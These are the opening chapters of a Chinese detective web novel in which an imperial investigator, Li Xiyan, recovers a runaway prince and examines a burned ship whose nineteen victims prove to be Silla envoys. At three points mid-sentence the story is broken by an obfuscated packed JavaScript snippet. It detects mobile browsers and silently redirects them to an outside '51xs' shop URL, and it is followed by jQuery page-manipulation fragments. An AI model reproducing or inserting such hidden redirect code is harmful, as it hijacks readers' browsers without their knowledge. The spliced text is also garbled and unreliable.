《问刑(探案)》 1. 第一案 水火交融 月光迷蒙。 月光迷蒙。 深夜的海黑漆漆的一片。 一艘快船破开风浪,翻起白色的浪花。 “快看!” 船只前方烟焰冲天。 灰黑色的浓烟中藏着一艘已经被烧得只剩架子的船只。 拍得激烈的浪花不断冲击着火船,被围困在海中的火势却没有丝毫的减弱。 水与火形成了诡异的平衡交融。 耳边只有浪声与火焰舔食木材的声音。 太安静了。 “船上没有声音,没有人的声音。” 清冽的女声带着凝重。 “少使?”小个子男子眨着一双大眼睛。 “你们先把船只拖走。那边,我去。” “您一个人去?” “他不敢。” 男子嘴角抽了抽:“到底是得罪不起的人。您……还是……” “他就在附近?” “是,就在不远处。和预测的大差不差,长乐王也在。” 女子沉默了一会儿,抚着腰间的通体乌黑的长刀,改变了主意。 “多带几个人。” “属下遵命。” 天刚刚放亮,奢丽华美的船上歌舞升平,丝竹绕梁。 甲板上,舞女转裙甩袖,乐人拨弄丝弦。 主位上坐着两个相貌有些相似的男子。 年轻些的少年看上去十五六岁,身着杏黄色彩绣锦缎长袍,富贵逼人。 少年紧紧拉着年轻男子的胳膊,一脸祈求,看着可怜巴巴的。 “父……父亲肯定会让人抓我回去,到时候小叔叔一定要护着我啊!” 年轻男子有些心不在焉,浅色的瞳孔微闪着,不知道在看哪里。 “自然……” 少年一下开心了起来,圆乎乎的脸上满是笑,攀着男子的胳膊,很是亲密。 “我就知道,小叔叔对我最好!” “唔。”男子胡乱应了一声,不住地瞟着平静的海面。 怎么还不来? 然而,他想等的人还没等来,却先等到了不速之客。 “啊——” 正在旋转的舞女被一刀劈开,飞溅的鲜血喷射出一条血路。 一群黑衣人踩着血路朝着二人杀来。 二人身后忽然窜出一群侍卫和黑衣人缠斗起来,二人被护在侍卫身后,面色各异。 “小叔叔,这些人……” 男子气定神闲,安抚道:“蟊贼罢了,不必担忧。” 可话还未落地。 黑衣人却连伤数名侍卫,船上形势陡然一变。 刚才还十分淡然的男子站起身,抽出腰间的佩剑,目光中的温和顿时消失,盛气凌人。 “啸——” 一声高亢的鹰唳破空而来。 只见一只翼展近四尺的老鹰朝着黑衣人飞去,尖利的鹰爪闪着寒芒让人望之生畏。 黑衣人们下意识齐齐向后一退躲开俯冲的老鹰。 未抓到目标的鹰并未停留,翅膀一扭,回转向船帆方向飞去,稳稳停在桅杆顶上。 黑衣人目光追随其而去,这才发现,不知何时,船帆下已经站着一位身形颀长的女子。 女子身着绣着獬豸的黑色圆领袍,眼角锋利,眸色如浓墨一般。一双眉毛飞扬茂密,嘴唇颜色带着几分病态的白,左眉眉头嵌着一颗血红色的痣,浑身带着危险的气息。 “绣衣使?”黑衣人声音跟着手一起发抖,“是李希言!” “哦?”李希言抽出腰间的长刀,一步步逼近黑衣人。 没想到沧州还有人能认识她? 为首的黑衣人压下心中的战栗,一咬牙:“撤!” 谁要和这个煞神硬碰硬! 见黑衣人身手敏捷地跳入海中,李希言双眉一沉,眉头的红痣似乎都因此变得更红。 她跃身飞去,一刀横去,连伤三人。 黑衣人机敏得紧,即使受了伤也一点儿也不敢停留,像泥鳅似的滑进了海里。 李希言顿住脚步,站在船舷上放眼望去。 不远处有几个黑点,应该是接应这些贼人的船只。 追不到。 她的表情更严肃了。 是地头蛇。 他们怎么会知道瑞王的踪迹? 她转过身,跃下船舷,朝着少年走去。 “李……李少使……”少年像只蔫儿了的小麻雀,头都不敢抬。 李希言暗叹一口气,将刀收好,拱手行礼。 “臣参见瑞王殿下。” 瑞王又往后躲了躲。 “您……您怎么来了?” 李希言直起身走近几步。 “陛下和皇后殿下都很担心你。” 看见瑞王畏畏缩缩的样子,她语气重了些。 “您今年已经十五了,不该如此任性。” 熟悉的语气带着教训的口吻,被从小训到大的瑞王心肝儿都在颤,只抓着身边的人的胳膊不做声。 李希言此时才注意到站在一旁的男子。 长得很打眼,眉眼清俊。 身着绣着莲花图案花纹宝蓝色广袖长袍,腰束玉带,穿着极其讲究精美,乍然一见,让人不敢亲近。 长乐王? 她忍不住打量了一下他头上乌黑浓密的发髻。 这人两年前不是剃发出家了吗?到底传言是假的还是头发是假的? 看着对方打量自己,长乐王忽然一笑,眼角微弯,有些发红的眼尾下垂,初升的日光映照在略浅的瞳孔中碎成一片温和金光,气质陡然一变,只让人见之可亲。 他利索地甩开了自己的亲亲侄子,稳住气息,努力用最好的仪态走上前。 “在下会和李少使一起护送瑞王回京。” 李希言心中不满稍减。 倒不像传闻中那样不羁。 “如此,就多谢王爷了。” 从未这样近看过长大后的她。 长乐王强逼自己收回带着贪婪的视线,藏在袖子里的手轻轻地抖着。 “李少使唤在下名字就是。” 李希言微微挑眉,斟酌道:“容郎君。” 容朗脸上的笑意更深,看得李希言摸不着头脑。 这人真奇怪。 虽然让她觉着亲和,可是也太……太热情了些。 初识的二人气氛还算和谐,可却把旁边的瑞王气得不轻。 刚刚还说要保护他的小叔叔怎么会和这个女阎罗同流合污! “我不回去!” 孤立无援的他开始耍赖,一屁股坐在凳子上,一副打死不挪窝的样子。 李希言早就熟悉他各种作妖的方式,直接一脚把凳子踢开。 没了凳子,瑞王直接摔了个屁股蹲儿,坐在地上不敢置信地看着她。 “你怎么又这样?” 李希言没有回答他。 又不是第一次了,还不习惯? 旁边的仆人更是低着头,都不敢多看一眼。 这位李少使怎么敢对皇子动手! “回去。” “不回去?”瑞王妄图打滚。 李希言别过头。 “别逼我扇你。” 堂堂皇子,这样子成何体统! 瑞王浑身一抖,快速站起,嘴硬道:“放肆!” “嗯,臣失礼。” 嘴上这样说,李希言可不管这位任性天真的小皇子。 她手一挥:“把伤者拉下去救治,立即靠岸。” 庞然的船只稳稳停下。 李希言提溜着瑞王下了船。 迎上来的苗青见状立即低头。 “少使,着火船只已经拉回码头,现在正在处理。” 李希言松开手。 “县衙的人来了吗?” “还没有,衙门离码头有些远,按时间算,还要等一会儿才能到。” 李希言僵硬了一瞬:“我去看看。” “等等。”容朗问道,“什么着火船只?” 李希言答道:“来的路上撞见的。” “海上遇见的?” “嗯。” 容朗脸上的笑意浅了些。 “沧州亦是在下的封地范围,可否让在下同去?” 李希言自然不会拒绝。 “请。” 苗青在前面带路。 心里却觉得奇怪极了。 这个长乐王他之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711358|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前是见过的,那叫一个矜贵公子的模样儿,脸上的笑都是一个样的,嘴角只能翘起来一点点。 怎么今日笑得这么……不值钱? 被腹诽的容朗毫无所觉,一边擒着试图作妖的大侄子,一边借势往李希言的方向靠近了些。 “李少使放心。表儿的财物路引都在我这里,他跑不掉的。” 容表气得哆嗦。 原来小叔叔竟然一开始就在算计他! 李希言虽然有些疑惑于容朗的示好,但是不管怎么说,到底是给她解决了个大麻烦。 她客客气气地说道:“多谢王爷了。” 这样疏离的语气,容朗心里还是有些落差,笑容都僵硬了几分。 姐姐真的不记得他了…… 察觉到对方突来的情绪,李希言有些莫名,最后还是硬着头皮挤出一句。 “王爷年纪长些,确实稳重不少,没有纵容殿下胡闹。” 容朗摇头一笑,顺手拍了拍容表的脑瓜子:“李少使客气,本就是这个臭小子给你们找了麻烦。” “分内之事。只是……”李希言直直看向容表,“好好的,为何忽然离宫?” 容表倔强转过头,不理她。 他现在可不是小时候了!可别想着这样就能吓到他! 容朗立即把他卖了个干干净净。 “我问过他,他说是想闯荡江湖。” 今日已经被出卖数次的容表一脸麻木。 “对啊,没错。” 李希言脸色却变得很不好看,身周气压骤降。 “愚蠢。” “呵。”容表环抱着双手,“你们这些做官的人懂什么。” “行侠仗义?”李希言停下脚步,定定地看着他。 容表得意得连语调都上扬了起来:“当然!” 李希言气得脑袋都有些发晕。 她揉了揉发涨的太阳穴,没有说什么。 容朗狠狠敲了瑞王一记:“当然个头!闭嘴!” “叛徒还打人……”容表摸着头委屈极了。 小叔叔今日是怎么了? 明明从小到大他对自己最好了! 李希言耐着性子说道:“瑞王殿下,江湖人不过是一群普通人,其中相当一部分行事并不合律法。” “律法就一定对吗?” “对不对也轮不到一群滥杀无辜,视人命如无物的东西来决定!” 李希言虽然话少严肃,但是鲜少有如此动怒的时候,四周绣衣司的人都吓得连呼吸声都轻了几分。 似乎意识到了自己的失态,李希言深吸一口气,闷头走在前面。 容朗立即跟上,小声说道:“小孩子看那些无聊话本看出来的毛病,李少使别动气,气坏了自己不值得的。” 他说完又用力拍了几下容表的脑瓜子,拍得砰砰响。 “这声儿听上去就空荡荡的。” 容表想要开口反驳,却被容朗恶狠狠地瞪了回去。 李希言敷衍地“嗯”了一声,又恢复了平常古井无波的样子。 容朗看得直皱眉,欲言又止。 他记得,她以前不是这样的。 “李——少~使~” 突然扑面而来的喊声抑扬顿挫喊出了几分厉鬼的凄婉,李希言胸口还未消完的气猛地一哽,哽得胸口都有些发疼。 一个身穿绿色官服的中年男子跌跌撞撞跑了过来。 李希言是认得他的。 观阳县县令袁桦。 他急得跳脚:“您得救救我啊!” “救你?” 袁桦眼风这才扫到站在一旁的容朗。 咦?这不长乐王吗? 他刚刚收敛了些的悲色一下又涌了出来。 “王爷!” 男的,能抱! 袁桦一下扑了过去,容朗闪躲不及,被死死抱住。 “王——爷~,下官真的不知情啊不知情!” 他怎么这么倒霉,遇见这样的事情,一死死一船人! 李希言眉心直跳,一把按住袁桦的肩膀。 “带仵作了吗?” 袁桦连连点头:“带了!带了!” “带路,验尸。” 2. 探索死因 “死者共有十九名。”苗青说完就侧开了身。 空地上放着船只的遗骸,孤零零的,船只已经被烧透,几乎看不出船的来历。 李希言却关注到了另外一点。 “尸体呢?” 苗青解释道:“船只抬上来的时候才发现尸体全部在甲板下的底舱里。因为您的交代,属下们也不敢乱动。” “都在底舱……” 底舱环境密闭,是船工居住以及堆放货物的地方。 李希言判断完问道:“仵作呢?” 袁桦立即推出一个背着验尸箱的小老头儿。 “在这儿。这是下官县里的仵作,叫吴诚。” 吴诚行礼:“鄙人见过王爷,李少使。” 李希言分外客气:“那就劳烦您了。在搬动尸体前,麻烦把尸体位置和姿势都记录下来。” 吴诚没想到凶名赫赫的绣衣使会这样有礼,连忙应下。 “鄙人明白。” 李希言看着被烧得黑洞洞的入口,过往的回忆瞬间闪过。 她甩了甩头。 不行,必须得进去看看。 她按了按腰间的刀,率先走了进去。 “李少使!”袁桦突然叫住她,一脸踌躇,“那下官……” 看他的样子,李希言就知道这又是个担不了事的主。 “你就去查一查这船的来历。” 袁桦如蒙大赦:“下官遵命。” 李希言领头,轻手轻脚从舱门处跳了下去。 烟熏火燎的气味实在是刺鼻,她皱了皱鼻子。 一方素帕忽然出现在她眼前。 顺着帕子看上去,正是容朗那张满带着笑意的脸。 “没用过的,李少使莫要嫌弃。” 东西都放在跟前了,李希言也不好拒绝,更何况她确实被呛得有些难受,感觉气管里都是灰。 她接过手帕捂住了口鼻。 帕子的材质柔软细腻,还带着微苦的草药气息,让人心神一松。 “多谢。” 容朗也捂着口鼻,只露出一双笑盈盈的眼睛。 李希言不知为何觉得有些不自在,别过眼,朝里走去。 “等等我!”容表轰得一下跳了下来,“我也要看看。” 李希言没有阻拦,只嘱咐道:“动作轻些。” 容朗补充:“这些木头都是被烧过的,不结实,太用力会坏的。” “哦,我知道了。” 容表天真但是也知道分寸。 他乖乖跟在三人的后面,好奇地打量着。 尸体损毁都很严重。 仵作走到最外面的一具尸体跟前蹲下,伸手检验。 他先掰开死者的眼睛看了看,又小心地动了动死者的关节。 一番观察后,他下了结论。 “死者,男,四十岁左右,体型高大,是被火烧死的。” 容表也不怕,凑过来问道:“李夫子,为什么是烧死的啊?万一是被杀后焚烧尸体呢?” 瑞王的武功是李希言教的,叫她夫子也合情合理。 李希言还没缓过来,一时语塞。 “若是生前被烧死,人在死时还尚存知觉,这时会因为火焰而紧闭双目,在这样的情况下,死者眼内无灰,睫毛的尖端就会有烧焦的痕迹,这具尸体就是如此。” 容朗说得头头是道,却让李希言心中生了疑。 外面都盛传这个长乐王爱好享乐不学无术,怎么会懂得验尸? 见李希言认真打量着自己,容朗不自觉挺了挺胸。 哥哥说得对,果然,只有有用的男人才能引起喜欢的人的注意! 吴诚更是惊讶。 “王爷当真博学。” 容朗谦虚了一二:“略懂罢了。” 李希言压下心中的疑窦。 “再看下一具吧。” 集中在舱门附近的尸体都是男性,全部是被活活烧死。 李希言看了一眼上面的舱门。 总觉得哪里不对。 “这些都是女尸。”吴诚收回手,“也是被活活烧死的。” 四人继续深入,走到了最深处,那里还有两具尸体。 吴诚不过看了一眼。 “成年男子,一个三十出头,一个四十出头,烧死。” 李希言点头,掏出纸笔,将尸体位置记录了下来。 最外面有七具男尸,接着是十具女尸,最里面是两具男尸。 “如今只是草草验过,尸体的其余检验要到外面完成。” 李希言吹了吹纸上未干的墨迹。 “苗青,抬出去。” “是!” 绣衣司的人动作很快,不过两刻钟就把所有尸体抬出排列好,还搞了个临时的验尸台。 吴诚在这边忙活,李希言坐到了一边,在脑海里将事情复盘。 十九个人,九名男子,十名女子。 船上的船工几乎都是男的,按理说船上的男人应该比女人多,这艘船上的人……女子的比例有些高。 还有目的…… 容朗凝眉:“这船……可是遇见海寇了? “有可能,船上没有发现这些人的行李。” 李希言的回答让容朗更沉重了。 他虽然常年在京城居住,可是自己的封地出了这样的恶贼,实在是让他觉得有愧。 “真狠啊。”容朗咬着后槽牙,“图财就算了,怎么拿了钱还要人命呢!” 李希言分析道:“三个可能。第一,凶手生性残忍。第二,死者的反抗激起了凶手的杀意。这一点可以排除,因为船上几乎没有打斗痕迹。第三,凶手被死者看到了容貌,而且凶手很怕露脸。” “怕露脸?难道他是什么通缉犯?” “不一定,凶手可能是本地人,很容易被认出。” 三人正说着话,袁桦擦着汗就过来了。 “王爷,李少使。”他喘了一口气,“查到了,这船是沧州州府过来的,就是个普通商人的船。下官已经让人去叫那商人过来了。” 还算机敏。 “很好,人何时能到?” 袁桦挠了挠头:“再怎么快也得明日了。” 李希言问道,“你们本地漕帮如何?” “漕帮?”袁桦懵了一下。 怎么问到这个了? “漕帮啊……”袁桦想了想才说道,“他们老大叫邬全义,是个本分人,平时还算老实,除了和外乡人打过几架,也没有出格的事情。” 漕帮本就是干漕运的人以地域为纽带拉帮结派搞出来的小团体,和外乡人有利益冲突,发生摩擦也确实不奇怪。 李希言喝着茶,眼神深沉望不见底。 袁桦以为她是要对漕帮下手,不禁说情:“干这行的,都是苦哈哈的出身,卖气力吃饭,大字都不识几个,遇见事了冲动些也是常理。说来也可怜。” 李希言脸上飞快闪过一丝笑。 这个袁桦还算个父母官。 “在你眼里,本官是这么不近人情之人?” “没有没有……”袁桦连连摆手,“下官不是这个意思……不是这个意思。” “还是要盯着点儿,你这儿是边境之地,北边就是高句丽,该防的要防着。” 高句丽和大晋关系向来紧张,时有战事。 袁桦松了一口气:“下官明白。” 问完话,李希言又沉默了起来,翻着手里的书。 容朗不住地瞟着她。 “李少使……似乎不爱说话?” 李希言恍然。 容表忍不住编排。 “小叔叔这就不知道了吧,他们道家讲究‘希言自然’,李夫子作为前国师的徒弟,当然不是多话之人。” 李希言也不纠正他对这话的歪曲解释,顺手拿书熟稔地敲了他一下。 “所以你应该改个名儿,话忒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711359|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。” 被欺压成性的容表完全不敢反抗,只敢小声嘀咕。 “女霸王……” 容朗的笑意透着几分假。 “李少使看着不像个寡言之人。” 李希言捻着书页的手指微微一颤。 她也记不清自己是从什么时候开始就不爱说话了。 容表一脸震惊:“小叔叔你眼睛有问题吧!她看着就阴沉沉的,原来给我们上课,坐那儿一天都可以不说一个字!” 饶是容朗都有些装不住了,又拍了拍他的脑袋,就跟拍西瓜似的。 “没大没小!” 不许说她坏话! 容表用力噘嘴。 这人今天是犯啥病了! 李希言垂眸,视线边缘闪过一小团紫色。 她偏头,定睛一看。 竟然是容朗身上的一个香囊。 他穿得最是精致讲究。锦服上不仅暗绣繁复的花纹,连袖子边领口都细细绣着流云纹。头上的玉冠,腰间的玉带,无一不是精品。 然而,那香囊上却绣了两朵素朴而常见的龙胆草,不是什么名贵的牡丹芍药或是象征高洁的梅兰竹菊。 真是奇怪。 早就察觉到她的视线的容朗只觉得自己挂着香囊的腰间有些都发烫了。 她……会不会想起来? 容朗选择主动出击。 他拿起香囊,凑近了些,想让她看得更清楚。 “李少使很好奇这个香囊?” 李希言立刻缩回了视线。 “有些意外。” 容朗眼中流露出一丝失望。 她是真的不记得他了。 他挤出一个笑。 “这是我最喜欢的花。” 李希言随口道:“王爷品味不同凡俗。” 容朗放下香囊,豁达一笑。 迟早,她会想起来的。 “李少使刚刚问起漕帮之事是怀疑今日刺杀是和漕帮有关?” 李希言老实答道:“那些人敢跳海逃走,可见水性极佳,不远处还有船只接应,应该是本地人。有船且水性好的本地人,多半就是漕帮。” 容表插嘴:“有船只接应就是本地人吗?” “漕帮地域之间矛盾极大,外地船根本就进不来。除非……细作。或许是高句丽的细作。” 容朗也有此猜想:“李少使言之有理。而且他们还知道我们船只的位置与航行时间。” 容表有些无法接受:“可是……漕帮不都是……帮助贫苦人的吗?” “漕帮靠漕规家法维系,其好坏完全取决于领头人的品行。而人的品行是最难判断的事情。”李希言语重心长。 她只希望这个小祖宗别再满脑子江湖不江湖的! “哦!”容表抚掌,“所以不好的漕帮之事因为领头人的错,漕帮本身没有问题!” 李希言合上眼,额角的青筋都鼓了起来。 这是陛下内定的皇储,不能打死不能打死…… 容朗亦是无言。 这个破侄子的脑子到底是聪明还是不聪明啊! “李少使,尸体已经验完了。” 吴诚的声音让气闷的二人暂时转移了注意。 李希言立即接过验尸格目。 吴诚的字体写得工整极了,看起来很是便利。 她拿起验尸格目走向尸体,一一复验。 容朗也跟在一边。 所有的尸体没有特别明显的外伤,都是些磕磕碰碰,头部的烧伤最为严重。 线索很少。 李希言又多看了几眼。 女尸都是年轻女子,从残存的衣料可以看出她们穿得不错,可是发髻上都光秃秃的,只剩下耳环这一样装饰。 “死者的行李都不在了吗?” 苗青上前道:“全部搜过了,没有,就连死者身上的财物也全部被拿走了。” 处处都透着矛盾。 3. 坏消息 当晚,县令将众人安排在县衙住下。 李希言躺在床上,脑子里都是尸体被火烧成焦炭的模样。 睡不着。 她眨了眨酸涩的眼睛,起身穿好衣物,坐到桌前开始写信。 找到了瑞王,应该先向陛下汇报,看看他这个做亲爹的准备怎么办。 她写完信,敲了敲窗棂。 一个黑影钻了出来。 “少使。” 声音低得雌雄莫辨。 李希言把信交给黑影。 “送去京城。顺便让附近的关姐、卫川和方淳都先过来。” “是。” 绣衣司虽然设立于御史台下,但是所有人都由皇帝指定任命,是个相当独立的部门。 他们有自己的情报网,能够以最快的的速度把消息传递给皇帝。 做完了事情,李希言向外走去。 县衙的院子不大,她随意找了个地方坐下,放空自己。 出事的船只比普通船更宽长些,很适合在近海处的海域行驶,速度要快且灵活,是典型的商船。 船只上的女人为什么那么多? 凶手的目的若是财,又何必灭口? 舱门那里也有些不对。 还有,为何男尸和女尸都是分开的?那两具男尸却在最里面, 除了这些以外,刺杀瑞王的人又是谁? 瑞王离宫后,陛下早就以打发其去看守皇陵为幌子把他的行踪遮掩了过去。 总不能是针对长乐王吧? “一个连封地都不愿去,天天赖在京城里的王爷?”李希言想着想着嘀咕出了声。 “李少使是在说我?” 容朗不知道从哪儿冒了出来。 李希言浑身一颤,强装镇定。 “没有,王爷听错了。” 容朗自然不会追问。 今晚能和她单独说说话,他就很满足了。 他坐到旁边。 “李少使还不睡?是因为案子?” 李希言顺着他的话说道:“确实。” “海上的盗匪虽然行踪诡谲,但是也不是完全抓不到。李少使不必太过忧心。” “不是盗匪。不是普通盗匪。” “什么?”容朗有些不明白,“船上的财物不是都被洗劫一空了吗?” “做戏。” “做戏?” “女尸身上的耳环都还在,凶手若是只为了财,怎么会放过耳环?” “你的意思是凶手是为了做成劫财杀人的表象才拿走了财物,也正因此,不为财而来的他们不小心遗漏了女死者的耳环?” “没错。” “可……不为财为什么?那船不是普通的商船吗?总不可能是和船上的人结仇?” 多大的仇会让凶手杀了一船人? “不太像。”李希言微微摇头,“死者的尸体外表都没有遭受到明显破坏的痕迹。按照凶手的残暴程度,若是有什么深仇大怨,肯定不会杀了人就了事。” “吴仵作并没有发现更多的线索?” 李希言也有些无奈。 “没有,各地仵作水平本就良莠不齐,观阳县这样的小地方,那里能有多好的……” 她还未说完就忽然停了下来。 这样啰嗦的抱怨是不该对着外人说的。 见她如此,容朗眼神暗了暗。 这些年到底发生了什么?让她的性子变化如此之大。 李希言站起身。 “下官先回房了。” 她很少有这样忍不住多话的时候,今日不知是怎么了。 这让她有些不安,只想快点回房,摆脱此刻异于往常的自己。 “等一等!”容朗见她要走,急得一把拉住她的袖口。 李希言回头,盯着他的手,面色古怪。 反应过来自己做了什么的容朗手就像被烫到一样,一下缩了回去。 “抱歉。我只是……” 李希言背起手:“无碍。” 容朗紧张地咽了口唾沫才说道:“验尸的事情我可以帮忙。” “你?”李希言的表情没绷住,露出些许错愕。 别说其他人,就是专管断案的官员对于验尸也只是纸上谈兵的功夫。 长乐王一个亲王怎么会懂得验尸? 容朗的眼神带上些小心翼翼的希冀,他试探着说道:“我小时候是在青嶂寺长大的,师从观空大师。在师父那里,我学会了医术和验尸。” 师父曾经说过观空大师确实是博学,出家前涉猎极广。 李希言又想到他今日的表现,确实不像是说谎。 “那就劳烦王爷了。” 至于容朗所言的青嶂寺,她根本就不想深究。 入官场前,师父早就提醒过她,长乐王幼时之事是陛下的忌讳。 她对这种危险的过去没有兴趣,只有敬而远之的心理。 容朗想要在她平静的脸上找出一丝丝异常,结果却还是失望。 他觉得胸口有些疼。 比两年前还疼。 难道,他的变化真的这么大?难道,在她的心里,那些过往都微不足道? “应该的,本就是我封地上出的事。” 带着颤抖的尾音让李希言有所察觉,可是她还是再一次选择了忽略。 “下官先去休息了,王爷自便。” “李少使……”容朗的手拦住了她的去路。 骤然的变短的距离让李希言绷紧了神经。 “李少使可是睡眠不佳?” 容朗摸出一个香囊。 “这是师父调的安神香。味道很淡,还算有用。” 李希言深深看了他一眼,飞快接过。 “下官却之不恭。” “李少使不必如此客气。”容朗眉眼弯弯,“我不过是个没权没势的王爷,没必要什么下官不下官的。” 又是那种奇怪的感觉,像是被正在抚摸的猫轻轻咬了一下手,李希言胡乱应了一声,稳住脚步回了房。 看着她带着落荒而逃的意味的背影。 容朗长长叹了一口气。 吓着她了? 他搓了搓手指。 到底该怎么把握分寸? 第二日一大早,天刚刚亮,还带着困意的李希言就强撑着去了码头。 一下马,她手里的缰绳一空。 “李少使来得好早。”容朗把她的马绑好,“昨晚睡得可好?那安神香可有用?” 李希言脑子里的空蒙一扫而尽。 “多谢,下官睡得很好。” 容朗手里的扇子一甩,显出几分风流。 “下官?” 李希言不想和他多说,立即纠正:“我睡得很好。” 她说完顺势退开几步,和他保持距离。 容朗鼻翼微动,扬了扬眉,侧过脸笑了笑,没有拆穿她的谎言。 是他疏忽了,绣衣使在外向来警惕,她肯定是不会用带香味的东西。 “我先去看看船只,尸体的事情就请王爷费心了。” 李希言说完扭头就走,不给容朗继续开口的机会。 容朗摸了摸脸。 不对啊。 他照过镜子,这个角度笑起来最好看,怎么还起反作用了? 殊不知,李希言此时正小声讽刺了一句。 “果真放荡。” 她不愿再去想这个莫名其妙钻出来的王爷,认真看起了船只的遗骸。 先从底舱的入口跳下去。 她拍了拍手上的黑灰,惊觉一个问题。 底舱入口没有梯子! 或许是因为昨日几人都是身手利落的人,而负责搬运尸体的人也身怀武功,大家还真没注意到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711360|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点。 除此以外,她搜寻了几遍。 从船只被烧毁的情况来看,甲板上损毁最严重,起火点应该就在甲板。 她合上眼。 站在被烧得漆黑的底舱中,鼻尖萦绕着难散的焦糊味。 就连耳边都仿佛传来了死者临死前的哀嚎。 凶手用了不知道什么办法将所有人弄进了底舱,然后抽走了出去的梯子,关上舱门,最后在甲板上放了一把火才离开。 所以,男尸靠近舱门,是因为需要他们想办法打开逃生之门,而稍弱的女子则被保护在了后面。 可是……她记得最里面的是两具男尸啊! 那两具男尸并无残疾,还是青壮年,怎么会躲在女子的后面? 她睁开眼。 问题的答案还是在尸体上。 这下就要看这位长乐王到底是真有本事还只是夸夸其谈。 容朗自然没有让她失望。 “有六名死者的手腕处都有骨折,而且身上还有擦伤,全是生前伤。最重要的是,我在死者胃部都验出了些迷药,量不多,但是足够人失力。” “手腕骨折?”李希言有些惊喜,“那死者的手腕可有被捆绑的痕迹?” “没有。”容朗说完挡在了尸体前。 看不见尸体,李希言松快了些。 “怎么样?”容朗追问,“里面可有什么发现?” 李希言将推测说出又补充道:“看来,死者没有反抗应该就是因为中了迷药,也因此,死者在被逼进底舱时,摔倒导致手腕骨折与擦伤。只是有一点……按照我的推测,既然当时船上的男子都在舱门处试图打开舱门,那最深处的两名男死者又为何躲在女子的身后?这实在不合常理。而且,船上的女子太多了些。” “不知道那商船的主人何时能来。” 只有知道船只出发前的情况,这些疑惑才能解开。 李希言找了个上风向的位置坐下。 “快了。” 容朗靠着她坐了下来。 “李少使可用过早饭了?” 随意啃了几口干粮的李希言回答得斩钉截铁:“用过了。” 容朗早就了解过她的作风。 “随意吃几口可不算。” 他招手唤来随从。 随从提着食盒,瞬间就把桌子放得满满当当。 两碗小米粥,并上几个金黄酥脆的油旋,几盘清淡小菜。 “这是沧州这边的特产。”容朗将油旋特意向她那边推了推,“李少使尝一尝。” 李希言有一瞬间的失神。 油旋…… 容朗心中一紧。 完蛋! 他只想着她爱吃这个,却忘了会勾起她不快的过去。 “多谢。”李希言倒不是太伤心,很快就恢复了过来,拿起油旋咬了一口。 外酥内软,肉香葱香并存。 比她父亲做得还好几分。 容朗提着的心这才放了下去。 他见缝插针,讲起了沧州的风土人情。 “沧州这边的面食做得尤其好,像这个油旋,我在京城也只吃过一家比这个还好吃的。还有曹州那边的面塑,做得活灵活现,李少使走的时候可以多买几个……” 李希言时不时地应一声,竟然没让场子冷下来。 容朗说完有些口干,喝下一口茶,抿了抿嘴唇。 比起以前,还真是角色对调了。 李希言见他说完,附和了一句。 “王爷久不在封地,倒是很了解沧州。” 容朗脸上漾开一个笑,眼含深意。 “我有个好友老家是沧州的。” 果然,即使不像以前那样多话,她还是她。 二人气氛正融洽,却又被如丧考批的一道声音打断。 “李——少~使!不好了不好了!” 4. 锁定 李希言听得耳朵疼。 这个袁桦怎么说话跟唱戏似的! 来者正是袁桦。 只是今日他不是一个人来的,而是还拽着一个人。 被他拽着的人是个四十来岁的男子,瘦高瘦高的,一脸青白,看上去像是得了重病一般。 袁桦的脸色也没好看到哪里去。 虽然还没出伏,但这大早上的天儿也不热,他却是满头的汗,就连身上的衣裳都印出了汗印。 热成这样,袁桦的脸色却是发白的,只有脸颊处有一团病态的红晕。 “出什么事了?”李希言站了起来,向前走了几步。 二人腿一软瘫在地上。 “船上的人……”袁桦的声音变得尖利,“是新罗的使臣!” “什么?!” 李希言也被这消息砸得脑子嗡嗡的。 陛下早有攻打高句丽的打算。 高句丽旁边就是百济和新罗。 而百济和高句丽都是扶余人,又缔结了盟约,只有被高句丽一直压着打且和它们不同族的新罗能够联合。 如今正是两国来往结交的重要时刻,怎么能让新罗使臣死在大晋! 李希言一把拉起袁桦,一双黑沉沉的眼里满是火光:“新罗使臣怎么会在船上!” 她力气极大,袁桦被硬生生扯得站了起来。 袁桦苦着脸,指着还瘫坐在地上的男子:“他是船主人,他说的。” 李希言松开手,视线一转,双目沉沉地看向瘫坐在地的男子。 男子挣扎着起身,站得摇摇晃晃。 “那两个使臣和鄙人打过好多次交道。这次他们想在回去前游玩一下,鄙人就……”男子流了泪,“就把船借给了他们,还配上了船工舞伎。鄙人就想着招待好了,也算鄙人一个小老百姓对朝廷尽份心力。谁知道……会出这种事。” “这事情瞒不得。”李希言转向身后的容朗,“人是在沧州出的事,只能让王爷出面。” 容朗自然责无旁贷,他爽快应下。 